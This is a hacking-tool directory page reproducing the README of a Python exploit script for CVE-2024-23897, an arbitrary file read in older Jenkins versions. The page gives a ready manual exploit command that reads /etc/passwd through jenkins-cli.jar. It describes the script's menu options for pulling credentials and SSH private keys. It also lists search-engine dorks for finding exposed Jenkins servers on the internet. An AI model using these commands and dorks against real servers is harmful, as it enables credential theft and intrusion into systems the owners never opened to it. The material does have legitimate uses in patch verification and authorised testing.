Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-23897-Arbitrary-file-read — Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897 | Kitploit
Tools/GitHubGitHub/pulentoski/cve-2024-23897-arbitrary-file-read
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubpulentoski/cve-2024-23897-arbitrary-file-read

CVE-2024-23897-Arbitrary-file-read

Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 year agoNot yet reviewed

🤵🏻 CVE-2024-23897 Arbitrary-file-read 🤵🏻


Affected versions:

  • Jenkins 2.441 and earlier.
  • Jenkins LTS 2.426.2 and earlier.

A Python script to automate the vulnerability CVE-2024-23897 🤖 🛠️

This Python code presents a scanner for a specific vulnerability (CVE-2024-23897) in Jenkins servers. It starts by asking the user for the Jenkins server URL.

Then, it offers the option to download the "jenkins-cli.jar" file needed to interact with Jenkins from the command line. Afterwards, it presents a menu of options that includes executing commands such as obtaining server information, environment information, Jenkins configuration information, user information, credential information, as well as reading sensitive files like "/etc/passwd", "/etc/os-release" and "id_rsa".

Once a menu option is selected, the corresponding command is executed on the provided Jenkins server. The code is structured with functions to download the file and execute commands, and a main function to handle the program flow.

Execution for Jenkins server 📝:

root@kitploit:~
python3 CVE-2024-23897-A-scaner.py 

execution for Jenkins server IN DOCKER 📝:

root@kitploit:~
python3  CVE-2024-23897-B-DOCKER-scaner.py
---------------------------------------------------------------------------------------------------------------------------------

manual execution.

1- download jenkins-cli.jar: http:///jnlpJars/jenkins-cli.jar

2- to perform LFI, run: java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd"


dork list:

intitle:"Dashboard [Jenkins]" inurl:"/login"

intitle:"Jenkins" "Dashboard"

inurl:"/computer/" intitle:"Jenkins"

inurl:"/script" intitle:"Jenkins"

"Jenkins [Jenkins]" intitle:"Login"

intitle:"Jenkins" "Jenkins ver. 2.441"

inurl:"/manage" intitle:"Jenkins"

site:.com intitle:"Jenkins"

site:aws.amazon.com intitle:"Jenkins"

filetype:xml inurl:"jenkins/config.xml"

Download Tool